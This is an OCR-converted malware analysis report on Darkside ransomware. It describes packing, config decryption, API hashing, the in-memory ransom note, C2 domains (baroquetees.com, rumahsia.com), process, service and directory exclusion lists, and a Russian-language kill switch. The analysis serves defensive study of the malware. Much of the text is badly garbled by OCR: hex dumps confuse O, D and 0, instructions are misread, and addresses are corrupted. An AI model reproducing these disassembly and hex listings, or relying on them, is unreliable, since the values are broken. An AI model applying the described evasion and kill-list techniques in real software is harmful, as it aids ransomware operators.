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Introduction

Darkside ransomware is the malware family behind the Colonial Pipeline attack.
According to the reports, Darkside has stopped its operations, but still,
organizations are putting considerable efforts to track this down and avoid such
attacks in the future. In early May, Darkside caused the six-day outage at Colonial
Pipeline, a company responsible for almost half the fuel supply on the US east
coast. Stores of gasoline, diesel, home heating oil, jet fuel, and military supplies
had been heavily affected. The FBI has confirmed that Darkside, a cybercriminal
group believed to have originated in Eastern Europe, is behind the attack. The
ransomware used by the group is a relatively new family that was first spotted in
August 2020, but the group draws on experience from previous financially

successful cybercrime enterprises.

Main File

|

Decrypts Config and
creates unique ID

Runs itself with
N elevated privileges
and 3 parameters

| |

Creates ico
-+ . and bmp files
Checks for the unique .
service name and
creates a Service l
if its not present
Starts encryption

using multiple threads

Fig. Flowchart sample
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Technical Analysis

Static Analysis

2.1 Header

Looking at the Darkside sample in PEView, we find only 2 DLLs in the import
table with only three functions. Further checking the sections, we can see that
the virtual size of the section is far more than its raw size, which gives us an idea
that the file might be packed.

= 979692cdTic638beeabeId68CT52M360 vir. str RVA Data Description Value
IMAGE_DOS_HEADER 0000C000  0000CHGC Hint/Name RVA 0151 ExitProcess
MS-DOS Stub Program 0000C004 00000000 End of Img KERNEL32 dll
&= IMAGE_NT_HEADERS 0000C008  OOOOC1SE  Hint/Mame RVA 0233 MtWriteVitualMemory
Signature 0000COOC  0000C188 Hint/Name RVA 0189 NtReadVitualMemory
IMAGE_FILE_HEADER 0000C010 00000000 End of | ntdil dil

IMAGE_OPTIONAL_HEADER
IMAGE_SECTION_HEADER _text

IMAGE_SECTION_HEADER .text1

IMAGE_SECTION_HEADER .rdata
IMAGE_SECTION_HEADER .data
IMAGE_SECTION_HEADER .ndata
SECTION text
SECTION .text1
SECTION _rdata

ar

IMPORT Address Table

IMAGE_DEBUG_DIRECTORY
IMAGE_DEBUG_TYPE_
IMPORT Directory Table
IMPORT Name Table
IMPORT Hints/MNames & DLL Names
SECTION .data
SECTION ndata

Fig. Import Address Table

Fig. Section Header

=- 979692cdTfc638beeabe3d68c 7521360 vir str RVA Data Description Value
IMAGE_DOS_HEADER 000001F0 2E B4 61 74 Name .data
MS-DOS Stub Program 000001F4 61 00 00 00
= IMAGE_NT_HEADERS 000001F8  00013A28 Virtual Size
Signature 000001FC ~ 0000D000 RVA
IMAGE_FILE_HEADER 00000200 00003200 Size of Raw Data
IMAGE_OPTIONAL_HEADER 00000204 00009E00  Pointer to Raw Data
IMAGE_SECTION_HEADER text 00000208 00000000 Pointer to Relocations
IMAGE_SECTION_HEADER .text1 0000020C 00000000 Pointer to Line Numbers
IMAGE_SECTION_HEADER _rdata 00000210 0000 Number of Relocations
IMAGE_SECTION_HEADER .data 00000212 0000 Number of Line Numbers
IMAGE_SECTION_HEADER .ndata 00000214 C0000040  Characteristics
SECTION text 00000040 IMAGE_SCN_CNT_INITIALIZED_DATA
SECTION text1 40000000 IMAGE_SCN_MEM_READ
[ SECTION .rdata 80000000 IMAGE_SCN_MEM_WRITE
SECTION data
SECTION .ndata
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2.2 Strings

We can also see that we don't have any substantial strings that are available to
get a rough idea.

So, we analysed the file dynamically using IDA Pro and x64dbg.

Address Length Type  String
.data:0040ED51 00000005 C w~BZ8&
.data:0040EE41 00000005 C GpZia.
.data:0040EFD1 00000005 C yWs>#m
.data:0040FQ7C 00000005 C D¢
.data:0040F 105 00000006 C ‘$@Wik
.data:0040F 18A 00000006 C o™.3RK
.data:0040F200 00000005 C BIAiA
.data:0040F252 00000005 C U# a
.data:0040F3BE 00000005 C nlL4n
.data:0040F4A6 00000007 C -j<HY5g
.data:0040F5B2 00000006 C Jji<IX
.data:0040F600 0000000A C ((OWqvita
.data:0040F61D 00000005 C (t*x?
.data:0040F76F 00000005 C cP(cL
.data:0040F840 00000005 C Q19j=
.data:0040F95A 00000005 C 7zhF_
.data:0040F96A 00000007 C [k:8)zM
.data:0040FAOC 00000008 C \W\r@DK?2
.data:0040FCOD 00000007 C wb35\r14
.data:0040FCD3 00000005 C 4>\rdo
.data:0040FE98 00000005 C Ir\rwd
.data:0040FF36 00000007 C w<3~\rz4
.data:0040FFC9 00000007 C GZ\ajok
.data:00410035 00000005 C YIF5S
.ndata:004210C6 00000005 C =$\r?w
.ndata:00421112 00000005 C pE&\a

Fig. Strings
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Dynamic Analysis

IS

: Attributes: noreturn

public start

start proc near

push 18h

push offset unk_421818

push offset unk_421080

call Sub_AddOnFirst18BytesOfLastSection
call MovePEBData

call sub_ 48AACD

push 8
call ds:ExitProcess
start endp

Fig. Entry point

2.1 Configuration:

The last section contains encrypted data, which is put through a custom
algorithm as per the requirement. The entry point of Darkside 2.1.2.3 shows three
functions. The first function takes the first 10 bytes of the last section as input and
puts them through a sequence of 4 subtraction operations with 0x10101010 and

some additional operations, as shown in the diagram.

loc_4BBB67:
mou [esi+eck+BCh], edx
mou [esi+ecx+8], eax
mou [esi+ecx+4], ebx
moy [esi+ecx], edi
sub edx, 18181818h
sub eax, 16161616h
sub ebx, 1810816818h
sub edi, 16101816h
sub ecx, 18h
jns short loc_4BBO67

xor edx, edx

xor BCK, BCX

nov esi, [ebp+arg_4]

Xor ebx, ebx

nov edi, [ebp+arg_8]

loc_4BBB9E:

mou al, byte_4108508[ecx]
add dl, [esi+ebx]

add dl, al

moy ah, byte_418858[edx]
inc ebx

nov byte_418058[edx], al
nov byte_41@058[ecx], ah
cmp ebx, edi

jnb short loc_%48BBCOH

Fig. Custom Algorithm
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The second function accesses PEB data and does some mov operations.

bl et =

HovePEBData proc near
push ecx |

mov ecx, large fs:38h
mov eax, [ecx+18h]
mov dword 4183B6, eax
mov eax, [ecx+8]

mouw dword 4183BA, eaX
mov eax, [ecx+6h4h]
mov dword 4183BE, eaX
mov ecx, [ecx+18h]
mov eax, [ecx+4hh]
mov dword 4183C2, eax
mov edx, [ecx+3Ch]
mov dword 43183C6, eax
pop PCX

retn

HovePEBData endp

B i S i

Fig. PEB data accessing

The third function is essential as it performs all the essential functionality from

DLL loading to decrypting the config data etc.

As we can see in the import table, only 2 DLLs are present, including just three
functions. A hash function in Darkside compares the hash value associated with
DLL names. The hardcoded values are used for comparison, and they are
associated with Kernel32.dll and LoadLibrary and GetProcAddress functions.
NTDLL, kernel32, advapi32, user32, gdi32, ole32, oleaut32, shell32, SHLWAPI,
WININET, netapi32, wtsapi32, ACTIVEDS, USERENV, MPR, RSTRTMGR are the

DLLs that will also be loaded in further calls.
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DLLAndFuncHash proc near

push ebx

push BCX

push edx

push esi

push edi

push 1E2EBL4AL4h

push 3B98BLEER

call sub_4B1828

mou dvord 420978, eax

push 288BB5 88N

push 3B98BLEER

call sub_481828

mou duvord L42097C, eax

mau esi, offset unk_u4BDOBC
mow ebx, ZEh

mou edi, offset dword 470648
call sub_4618D9

mou ebx, 37h

mow edi, offset dword 4208784
call sub_ 4818D9

mouv eb=, 1%Sh

mou edi, offset dword 4787E4
call sub_4818D9

mow ebx, 8

mou edi, offset dword 47883C
call sub_4618D9

mou ebx, @Dh

mow edi, offset dword 420860
call sub_ 4818D9

mouv ebx®, 6

mou edi, offset dword 470898
call sub_4818D9

mow ebx, 2

mou edi, offset dword 4708BA4
call sub_4618D9

mou ebx, 5

mow edi, offset dword 4208CH
call sub_ 4818D9

mouv ebx®, 6

mou edi, offset dword 4708D3
call sub_4818D9

mow ebx, 8

mou edi, offset dword 4708F4

call sub 401809

Fig. DIl and function hash matching

The decrypted configuration contains RSA-1024 exponent, RSA-1024 modulus,

victim UID, 22 configurations bytes.




Quick Heal

Security Simplified

Address | Hex ASCII
0057528801 00 01 0OQ(00 00 00 OO|00 OO0 OO0 00|00 00 00 O0|hecee e ternrenns
00575298 (00 00 00 00|00 OO0 OO0 OO0|00 OO0 OO0 00|00 00 00 00| .u.ee v verenas
Q05752A8(00 00 00 0OO|00 OO0 OO0 00|00 OO0 OO0 00|00 00 00 O00f v uee e vevnrens
005752B8(00 00 00 0OO|00 OO0 OO0 00|00 OO0 00 00|00 00 00 00| .ueee e e vnrenes
Q05752C8(00 00 00 00|00 OO0 OO0 00|00 OO0 OO0 00|00 00 00 00| . ueee e rnrnrnnss
005752D8( 00 00 00 OO|00 OO0 OO0 00|00 OO0 OO0 00|00 00 00 00| .ueee e v verenas
005752E8|00 00 00 0OO|00 OO0 OO0 00|00 OO0 OO0 00|00 00 00 00f .uuee e veverenes
005752F8(00 00 00 00|00 OO0 OO0 00|00 OO0 OO0 00|00 00 00 00| cuuee e veveeeee.
00575308 |EF 26 75 3E|87 15 DS Z8(B1 F3 41 EF|(B1 €% D3 DB| i&u=..8(+0ATxEGD
DOS75318 |77 D2 08 AD|1C 2F AA DO|2C F4 C7 BC|3C 73 89 &B|wh.../2D,0C%<s.k
00575328 (D% B8 21 73|E3 31 BE D4|CB 7D 57 9D (3B F5 AC &E |0, !'s3aimbE}wW. ; 6-n
00575338(74 E5 4F OF |67 42 65 ED|CS5 C8 1F ES |90 BE A4 DE|té0.gBeiAE.d..Hp
Q0575348|62 20 24 E9|AC 90 8D 03|B3 13 C1 9D |2A B2 Bl 5D|b =é-...%.A,*=x]
00575358(57 19 08 57|0F 61 OE 20|4C DB E2 D2|0% 11 14 4F|w..w.a. L8ad...0
00575368 | 6F Fz D8 61|CA C4 Al 81|60 DB 15 91|36 0A F5 57 |ob@akA;. 0..6.0w
gogZE=zelos ~3 co paldd 92 CC gA |70 51 DA 80|32 90 34 7o |wAR'D._jrald.z.:u
o05| [00540000] =BQEDBDC?ﬂEerDaE)EE 32 34 37 32|36 33 34 00| 0GOFhHB3IBIZ472634.
005 MO0 90 EF 95 ] 7|19 56 47 14|77 58 43 79|D.d.o®, . VGE.WCY
005753A8(02 01 00 01|01 01 01 01|00 01 01 01|01 01 01 OL| . uuevevevurenes
005753B8(01 01 01 01|02 01 30 00|00 OO0 DD 02|00 00 2ZE 04| .veee e ¥euenn
005753C8| 00 00 BF 06|00 00 DO 06|00 00 F1 06|00 00 B6 OF | .. ...B...RA...7.
005753D8| 00 00 8B 0OA|0O0 OO0 &4 OB|00 OO0 OO0 00|00 00 BS OB|...... s [P M.
O05753ES| 00 00 BE OC |00 00 4A 41|42 79 41 47|55 41 59 77| ..%...JABvAGUAYW
Fig. RSA-1024 exponent, RSA-1024 modulus,
victim UID, 22 configurations bytes
The ransom note is written in the memaory.

DOSCA3DB|AE AE AE AE[AE AE ABE AE[0D 00 00 0O0[00 00 00 00| GEEEEEEE. «uvuu..
DOSCA3ES|E3 0A 1E D224 AE 00 19|20 2D 2D 20|20 2D 2D 20| &..0%%..-——————-
DOSCA3FS|2D 2D 2D 20|5B 20 57 &5|6C &3 6F &0 |65 20 74 6F|--- [ welcome to
0O5CA408 |20 44 61 72|6B 53 69 64|65 20 5D 20|2ZD 2D 2D 20| Darkside ] ----
0OSCA418 |20 2D 2D 20|20 2D 20 2D |20 3E 20 OD|0A 20 20 OD|------—--—- = ..
OOSCA425|0A 20 57 68|61 74 20 68|61 70 70 &5|6E 64 3F 20|. what happend?
0O5CA438|0D 0A 20 2D|2D 2D 2D 2D|2D 2D 2D 20|20 2D 2D 20| .. --——————————-—
OOSCA448 |20 20 2D 20|20 2D 2D 2D |2D 2D 2D 20|20 2D 2D 20| ----————————————-
DOSCA458 |20 20 2D 20|20 2D 2D 2D |2D 20 2D 20|20 2D 2D 20| ----——-———————————-
00SCA468|2D 20 0D OA 7Z 20 63 GF|6D 70O 75 74|- .. Your comput
DOSCA478 |65 72 73 20|61 6E &4 20 65 72 73 20|ers and servers
DOSCA488 |61 72 65 20|65 GE &3 72|79 70 74 65|64 2C 20 62|are encrypted, b
005CA498 |61 63 6B 75|70 73 20 61|72 65 20 64|65 &C &5 74|ackups are delet
DOSCA4AS |65 64 2E 20|57 &5 20 75|73 &5 20 73|74 72 6F G6E|ed. wWe use stron
DOSCA4BS |67 20 65 GE|63 72 79 70|74 63 6F &E|20 61 &C &7|g encryption alg
DOSCA4CE|6F 72 69 74|68 6D 73 2C |20 73 &F 20|79 6F 75 20|orithms, so you

» The C2 servers are written, namely, baroquetees.com

Fig. Ransom note in memory

seen in figure.
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Fig. C2 Servers in memory

and rumahsia.com as

p. cescccxeipipip
........ w..G ®..
b.a.r.o.q.u.e.t.
e.8.5...C.0.M...
r.u.m.a.h.s.i.a.
R o || PR 2.
"""""" ih
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» Directories to be avoided in the encryption process, recycle bin, Program Data,

Program Files etc. as shown in figure:

00579938 | AB AE AB AB|EE FE EE FE|00 00 00 00|00 0O 0O OO
005799958 | 32 8D SE 4A (DS 8F 00 1E|24 00 72 00|65 00 &3 OO
DO5799A8| 79 00 63 00|6C OO &5 OO|2E 00 &2 00|69 DO GE OO
00579988 00 00 &3 00|6F OO0 GE OO|66 OO0 &9 00|67 0O 2E OO
005799C8| 6D 00 73 00|69 OO 0O OO|24 00 77 00|69 OO &E OO
00579908| 64 00 &F 00|77 00 73 OO|2E 00 FE 00|62 0O 74 OO
D05799ES| 00 00 24 00|77 00 69 OO|GE 00 &4 0DO|&F DO 77 OO
D05799E8|73 00 2E OO|7E 00 77 OO|73 00 00 00|77 OO &% OO
00579408 | 6E 00 &4 00|&F OO 77 OO|73 00 00 00|61 OO 7O OO
00579A18| 70 00 &4 00|61 OO 74 OO|61 OO0 00 00|61 OO 7O OO
D0579A28| 70 00 6C 00|69 00 63 OO|61 OO0 74 00|69 DO &F OO
00579438 | GE 00 20 00|64 00 61 OO|74 00 61 00|00 DO &2 OO
00579448 | 6F 00 G&F 00|74 00 00 00|67 00 &F OO0|&F OO &7 OO
DO579A58| 6C 00 &5 00|00 OO 6D OO|GF 00 7A 00|69 0O &C OO
D0579A68| 6C 00 61 00|00 OO 70 OO|72 00 &F 00|67 OO 72 OO
D0579A78| 61 00 6D 00|20 00 66 OO|69 00 & 00|65 0O 73 OO
D0S79AS8| 00 00 7O 00|72 OO0 &F OO|67 OO0 72 00|61 OO &0 OO
D0579A98| 20 00 66 00|69 00 &C OO|65 OO0 73 00|20 OO 28 OO
DOS579AAS| 78 00 38 00(36 00 29 OO|00 OO0 7O 00|72 OO &F OO
DOS79ABS| 67 00 72 00|61 00 &D 00|64 00 61 00|74 00 &1 OO
00579ACS| 00 00 73 00|79 00 73 OO|74 00 &5 O0|gD QO 2O 00
DO579ADS| 76 00 &F 00|6C OO 75 OO|6D 00 &5 00|20 00 &% OO
DOS79AES| 6E 00 &6 00|6F 00 72 OO|6D 00 &1 00|74 OO &9 OO
DOS79AFS| 6F 00 &E 00|00 OO 74 OO|GF 00 72 00|20 OO &2 OO
00579B08| 72 00 &F 00|77 OO 73 OO|65 OO0 72 00|00 OO 77 OO
DO579B18| 69 00 6E 00|64 00 &F OO|77 00 73 00|2E 00 &F OO
D0579E28| 6C 00 &4 00|00 OO &9 OO|GE 00 74 00|65 0O &C OO
D0579E38| 00 00 6D 00|73 00 &F OO|63 00 &1 00|63 0O &8 OO
00579B48| 65 00 00 00|70 00 &5 00|72 00 &6 00|&C OO &F OO
DOS579B58| 67 00 73 00|00 OO 7S OO|36 00 34 00|64 OO &2 OO
D0579E68| 67 00 00 00|70 OO 75 OO|62 00 &C 00|69 DO &3 OO
D0579E78| 00 00 61 00|6C OO &C 00|20 00 75 00|73 OO &5 OO
00579B88| 72 00 73 00|00 OO &4 00|65 00 &6 00|61 OO0 75 OO|r
D0579E98| 6C 00 74 00|00 OO OO OO|40 00 AE AE|AE AE AB AB|1.
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Fig. Exclusion list of directories, in memory

» Files to be ignored by the ransomware:

00579BAB| ABE ABE EE FE|EE FE EE FE|0OO 00O OO QOO0 00 OO 00
00579BEB8 (55 BD 5B 2D (7F &F 00 1A|61 00 75 0OO(|74 00 &F 00
00579BCE (72 00 75 0OO(&E QOO0 2E 00|69 0O &E 0OO|6&6 00 OO 00
00579BDE | 62 00 &F QO(6F 00 74 00|2E 0O &% OO|6GE 00 &9 00
00579BES |00 0O &2 0OO(6F 00 &F 00|74 00 &6 OO|6F 00 &E 00
00S79BF8( 74 00 2E 0OO(62 00 &9 00|6E 0O OO OO|6&2 00 &F 0O
00579 08| 6F OO 74 0OO(72 00 65 00|63 0O 74 OO|2E 0D &2 00
00579C18( 61 00 6B OO(OO0 OO &4 00|65 0O 73 OO|(6E OO 74 00
00S79C28(6F OO 7O OQO(2E OO0 69 0O|6E 0O &9 OO|00 00 69 00
00579C38( 63 00 6F QO(6E 00 &3 00|61 0O &3 0OO|65 00 65 00
00579C48( 2E 00 &4 00O(62 00 OO OO|6E 0O 74 QO|6C 00 &4 00
00575872 00 OO QO(6E OO 74 0O|F5 0O 73 QO(65 00 72 0O|r
00579 68 2E 0D &4 00(61 OO0 74 Q0|00 OO &E OQO|74 OO 75 00|.
0OS79C78( 73 00 &5 00|72 00 2E 0OO|64 0D 61 OO(74 00 2E 0OO|s
00579C88(6C 00 &F O0O(|67 OO0 00 OO|6E OO0 74 00|75 00 73 00|1.

e

h

L]
S oIS Mmoo 3 o
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DOS79C98| 65 00 72 0OO|2E OO0 &9 OO0|6E OO &9 OO(OD OO 74 0O
DOS79CAB| 658 00 75 0OO|6D OO &2 00|73 00 2ZE OD(&4 0D &2 0O
0OS579CES| 00 OO0 OO OO|00 OO0 AE AE|AE AE AE AB(AB AB EE FE|...... A
0OS79CCE| 00 OO0 OO OOlO0 OO0 OO0 00114 89 58 GBI18 BF 00 OO/ ... v . Xk...
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Fig. Files to be ignored
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» Exclusion list of extensions:

00S79CES| 00 OO0 0O 00|00 OO0 AE AE|AE AE AE AE|AE AE EE FE|...... ceceeeeeip
005 79CCE( 00 OO OO OD|0D OO0 OO0 00|36 BD S5B 4E|18 BF 00 1A|........ 6.[N....
005 79D8( 33 OO0 38 00|36 OO0 OO 0OO|61 OO &4 OO|F& OO OO OO
00579CES| 61 00 6E OO(62 OO0 OO0 00|62 OO0 &1 OO(74 0O OO OO
00579CF8| 62 00 62 0O0(6E OO0 OO0 00|63 OO0 &1 00|62 OO0 OO OO
00579008 (63 OO0 6D OOD|&4 OO OO 00|63 OO0 &F OO|6D OO OO OO
00579D18( 63 OO0 7O OOD|&C OO OO OO|63 OO0 75 0O0O|F2 OO OO OO
00579D28| 64 00 65 OO(73 OO0 6B 00|74 OO0 &8 0O0O(65 0O 6D OO
00579D38| 65 00 7O 00|61 OO &3 OO|6E OO 0O OO(64 00 69 0O
0057904861 OO0 &F OD|63 OO0 &1 00|62 OO0 OO 00|64 DD &9 OO
00579D58( 61 OO0 &F OD|63 OO0 &6 00|67 OO0 OO 00|64 DD &9 0O
00579D68| 61 00 &7 OO(70 OO 6B OO|&F OO 0O OO(&64 0D &C OO
00579078 | 6C 00 0O OO(64 OO0 72 00|76 OO0 QO OO(65 OO 78 OO
00579088 (65 OO0 OO OD|&E OO &C 00|70 OO OO OO|69 DD &3 OO
00579098 (& OO0 OO OOD|&9 OO &3 0OO|6E OO 73 OO|0D DD &9 OO
00579DA8| 63 00 &F OO(0O0 OO &9 00|63 OO0 72 00|00 OO &9 OO
00579DE8| 64 00 78 OO(00 OO &C 0OO|64 OO0 66 00|00 OO &C OO
00579DCE8 | 6E OO0 6B OOD|0D OO &D OO|6&F OO &4 00|00 DD &D OO
005 79DDS( 70 OO0 &1 OOD|OO OO &D OO|73 OO0 &3 OO|0D DD &D OO
00579DES| 73 00 7O OO(0O0 OO 6D OO|73 OO0 73 00|74 0D 79 0O
00579DF8| 6C 00 &5 00|73 Q0 OO0 OQO|6D OO 73 0OO(F5 0O OO OO
OO579EQS|(6E OO0 &C 00|73 OO0 OO OO|6E OO &F 0OO0|6D OO &5 OO
00579E18( 64 OO0 &9 00|61 OO OO OO|6&6F OO &3 OO|FE8 OO OO OO
00S79EZ28| 70 00 72 00|66 00 OO OO|70D OO 73 0O0O(31 OO OO OO
00572E38 |72 00 6F OO0(6D OO0 OO0 OQO|72 OO0 74 00(F0 OO OO0 OO
DOS79E48( 73 OO0 &3 00|72 OO0 OO 0OO|73 OO0 &8 OO|F3 OO OO OO
DOS579ESS( 73 OO0 FO OOD|&C OO OO OO|73 OO0 79 OO|F3 OO OO OO
00S79EGS| 74 00 6B 00|65 OO0 6D OO|65 OO0 0O OO(F4 0D 68 0O
DOS79EFS( 65 OO0 6D OD|&5 OO 7O 00|61 OO0 &3 OO0|6E OO OO OO
OOS79EBS(7F OO0 FO OOD|7E8 OO OO 0OO|6&C OO &F 00|63 DD &E OO
00579E98| 00 OO0 6B OO(65 OO0 79 00|00 OO &8 OO(74 00 61 OO
00579EAS| 00 OO0 6D OO(73 OO0 69 00|00 OO 7O OO(64 00 62 0O
005 79EBS | 00 OO OO 00|70 OO AE AB|AB AE AE AE|AB AE EE FE
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Fig. Extension exclusion list
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OOS79EEE |00 OO0 OO0 00|70 OO0 AE AE|AE AE AE AE|AB AB EE FE|....p.sececceeeip
00579ECS |00 OO 00O QOO0 OO0 0O 00|71 BD 5B 09(7B BF 00 1E|(........ q.[-f.--
Q0579EDS8 |73 00 71 O0|6C 00 OO 00|73 00 71 O0|6C 00 62 00|s.g9.1...5.49.71.1.
005 79EES |74 00 &5 00|00 OO OO QOO0 00 AE AE(AB ABE AB AB(T.2....... LR

e
005 79EFE8 | AB AB EE FE|EE FE EE FE|QOQ 00 OO 0Q0Q(0Q OO0 OO 00 xxibibibi.......

» Exclusion list for process termination

UUS s FEFO|AD AD CC FC(EC FE CE FE W0 WO UL WU U0 U U U | 6% DR I RP IR w s m s non n
005 79F08| 60 BD 5B 18|3C 87 00 1C |76 00 &0 00|&3 00 &F 0O ‘.[.q...v.m.c.u
0GOS 79F18| 6D OO 7O OO|F5 OO 74 00|65 OO0 ZE OO|65 OO 78 OO|mM.p.u.T.8...E8.X.
00O579F28| 65 00 OO OO(7& OO 6D OO0|6D OO0 73 OO|(2E OO0 &5 OO E...V.M.M.5...8.
O0O572F38| 78 00 &5 0OO|0QO0 OO 76 0OO|6D OO 77 OO|7FO0 OO0 2E OO|X.E...V.M.W.p...
OO579F48(65 00 78 00|65 OO0 OO0 OO|73 00 76 00|63 00 68 00| e.X.e...5.v.C.h.
OO579F58|6F 00 73 00O(74 OO0 2E OO|65 OO0 7B OO(65 OO0 OO0 OD|O.5.T...B.X.B...

D0579F68|54 00 65 00|61 00 6D 00|56 0D 69 00|65 00 77 0O|T.e.a.m.vV.i.e.w
DOS79F78| 65 00 72 0OO|2E 00 &5 00|78 0D &5 00|00 00D 65 0O|e.r...e.x.e...e
DO579FB8|78 00 70 0O0|6C 00 &F 00|72 00 &5 00|72 00 2E 00|X.p.l.0.r.e.r...
00579F98| 65 00 78 00|65 00 00 OO0|Q0 00D 40 DOD(AE AE AB AB|e.x.e..... E. e
DOS79FAE|AE AE AB AB|EE FE EE FE|00 00 00 00|00 00 00 00|aseaipib........
NMNE79FRAR| 7% B9 CR M 120 B 00 nnlc4 0y B4 NlRO BR BE Ml s ¥ —_ 0 & T "=l

Fig. Exclusion list for process termination
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» These processes will be killed by the ransomware:

DOS79FBS|31 8D 5B 49|20 87 00 18|73 00 71 O0|6&C 0O OO0 0O
DOS79FCE|6F 00 72 00|61 00 63 0O0|&C 00 65 00|00 OO0 &F OO
DO579FDE| 63 00 73 00|73 00 64 00|00 00 64 00|62 OO 73 OO
DO579FES|6E 00 &D 00|70 00 00 00|73 00 73 OD|&E OO0 63 OO
DO579FFE|74 00 &9 00|60 00 &5 00|00 00 &1 00|67 OO0 &E OO
DOS7AQD8|74 00 73 00|76 00 63 00|00 00 €3 00|73 00 71 0O
DO57AQLE|6C 00 7O O0|6C 00 75 00|73 00 73 00|76 OO0 63 OO
0057A028|00 00 78 00|66 00 73 00|73 00 76 00|63 00 [[p057AD16
DO57AQ3E| 6F 00 &E 00|00 00 6D 00|79 00 64 00|65 00 &

DO57AC48| 6B 00 74 OO0|6F 00 70 00|73 00 &5 00|72 00 76 0O
DO57A0S8| 69 00 63 00|65 00 00 DD|6F 00 63 00|61 OO 75 OO
DOS7AOGS |74 00 &F 00|75 00 70 00|64 00 73 00|00 00 &5 OO
DO57AOTE|6E 00 &3 00|73 00 76 00|63 00 00 00|66 OO &3 OO
DO57AQBE|72 00 &5 00|66 00 6F 0OOD|78 00 00 00|74 OO 62 OO
DO57A098| 69 00 72 00|64 00 63 O0|&F 00 GE 00|66 OO0 &3 OO
DOS7AOAS| 67 00 00 00|60 00 79 00|64 00 65 00|73 00 6B OO
DOS7AOBS|74 00 &F 00|70 00 71 OO|6&F 00 73 00|00 00 &F 0O
DOS7AOCE| 63 00 &F 00|60 00 6D 00|00 00 64 00|62 OO0 &5 OO
DO57AODE | 6E 00 &7 00|35 00 30 00|00 00 73 00|71 OO0 62 OO
DOS7AQES |63 00 &F 00|72 00 &5 00|73 00 &5 00|72 00 76 0O
DOS7AOFE| 69 00 63 00|65 00 00 0DO|65 00 78 00|63 OO0 &5 OO
DO57AL08|6C 00 00 00|69 00 6E 00|66 00 &F 00|70 00 &1 0O
DO57A118|74 00 &8 00|00 00 6D 0OO|73 00 61 00|63 OO0 63 OO
DO57A128|65 00 73 00|73 00 OO0 00|60 00 73 00|70 OO0 75 OO
DO57AL138| 62 00 OO0 0O0|6F 00 GE 0DO|&5 00 GE OO|&F OO0 74 OO
DOS7A148| 65 00 00 O0|6F 00 75 00|74 00 6C O0|6&F 00 &F 0O
DOS7A158| 6B 00 00 00|70 00 6F DO|77 00 &5 00|72 00 70 0O
DO57ALGE|6E 00 74 00|00 00 73 00|74 00 65 00|61 OO0 6D OO
DO57AL7E| 00 00 74 00|68 00 65 00|62 00 61 00|74 OO OO OO
DO57AL188|74 00 &8 00|75 00 6E 00|64 00 65 00|72 00 62 OO
DOS57A198|69 00 72 00|64 00 00 00|76 00 63 00|73 00 &3 OO
DOS7ALAS|6F 00 00 00|77 00 69 0D0|6E 00 77 OD|6&F 00 72 0O
DO57ALEE | 64 00 00 00|77 00 6F 00|72 00 64 00|70 00 61 OO
DO57ALCE| 64 00 00 00|6E 00 6F 0OO|74 00 &5 00|70 00 61 OO
DO57AIDE | 64 00 OO0 00|00 00 OO0 DO|AE AE AE AE|AE AE AE AB
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Fig. Process Kill list

» The list of services to be stopped and deleted:

005 7A1ES| OO0 OO OO OO|00 OO0 OO OO|6E BD SE 16|7C B7 00 1E|..au.u. .
OOS7AIFE( 76 OO0 73 00|73 00 OO OO|73 OO0 71 OO0|6&6C OO0 OO0 OO v
QOSTFAZOE( 72 00 7e Q0|2 00 24 Q0|00 00 &0 00|65 00 &0 00| s
005 7AZ18 |74 00 &1 00|73 00 OO OO|6D OO &5 00|70 OO0 &F 00| T
DO57AZ228(63 00 73 00|00 OO 73 OO|6F OO 7O 00|68 OO0 &F 00| C
005 7AZ38 |73 00 OO OO|7& OO0 65 0OO|65 OO0 61 0OO0|6D OO OO 00| S.
b
X
1

ooz~

2 TIT M ——

:rpéxa-

O057AZ248( 62 00 &1 00|63 OO &B 0OO|75 OO 7O 00|00 OO0 47 OO0
QOSTFAZSE (78 QD 06 QD72 00 72 00|00 OO0 47 00|78 Q0 42 00
O057A268(6C 00 72 Q0|00 OO 47 00|78 OO0 46 00|57 OO0 44 00
OOS7AZFE (00 OO 47 00|78 OO 43 00|56 OO 44 00|00 OO0 47 00
OOS57AZB88( 78 00 43 00|49 00 4D 00|67 OO 72 00|00 OO OO0 OO0

X
OOS7AZ98 (70 00 AE AB|AE AE AE AB|AB AB EE FE|EE FE EE FE|p.
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Fig. Service kill and delete list

The malware then checks for the keyboard language and compares it with 419
which is Russian. For any other language, the ransomware will continue its

execution. It uses NtQuerylnstallUILanguage API to check for the language code.




00403017
00403018
00403019
0040301A
0040301B
0040301C

jreakpoint Mot

set |

00403026
00403029
0040302C
00403020
00403033

0040303E
00403041
00403044
00403047
00403044
0040304C
0040304F

2.2 Unique |

D:

8D45 F8

FF15 ECO64200
8B75 F8
8D45 FB

FF15 EB064200
F&

EE 01000000
C1E3 0A
80F3 01
COE3 04
80F3 09
66:3BDE

74 05
66:3BDF

75 05

push ebx
push ecx
push edx
push esi
push edi
lea eax,dword ptr ss:[Jebp-sf
ush eax

mov esi,dword ptr ss:[ebp-g
lea eax,dword ptr ss:|[ebp-3
ush eax

mov edi,dword ptr ss:[lebp-8
mov ebx,1

shl ebx,A

xor bl I.1

shl b1,

xor bl, 9

cmp bx,si

iE patchl 403051

cmp bx,di

jne patchl 403056

dword ptr ds: [mutquerilnstaﬂU:[Language>]

dword ptr ds:[ﬁNtQueriﬁefau'ltu]Languaga-]

edx: EntryPoint

Fig. Check Language
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A custom algorithm uses “MachineGuid” value as the input, and the algorithm

applies 8 times to generate a unique ID

Aa4a1ea]
Aa4a1aR32
Ba4a10086
Ga4010a89
B646160E
Ba4a188F
Ba4a16e2
Ba481@B5
Ba4a10Ea
Ba4a16EC
Ba4616E0
aada1aca
aada1acs
aa4a1acs
Ba4a1a0CE
@a4e1acc
Ba4a1a6CcF
@a4a1a02
Ba4a1807
Ba4a1@0A
BB46160B
Ba4a160E
Ba4a16E1
aa4a18EE
Ba4a1aE
BB4a10ER
Ba4a10ED
Ga4016Fa
BR4010FS
Ba4a16Fs
Ba4a16F9
Ba4a1a@FC
BE4816FF
Ba4a1164
BR481167
aada11a3
Ba4a1 168
Ba4a118E
Ba401113
Ba401116
Ba4a1118

A AT A AR

3

W Ew w1 W 1w

€R_FF
FF7S ac
FF7S @8

. E8 S2FFFFFF
£a

FF7S oC
FF7S @8

ES 4eFFFFFF
8183

58

. FF75 ac

FF?S @8

ES 38FFFFFF
8143 @2

=1

FF7S ac
FF7S @8

ES 29FFFFFF
8143 a4

. E8 1AFFFFFF
8143 06

=)

FF7S ac
FF7S @8

ES BEFFFFFF
8143 @8

58

FF7S ac
FF7S @8

ES8 FCFEFFFF
6143 A

58

FF7S ac
FF7S @8

ES EDFEFFFF
@143 ac
8BC3

EE

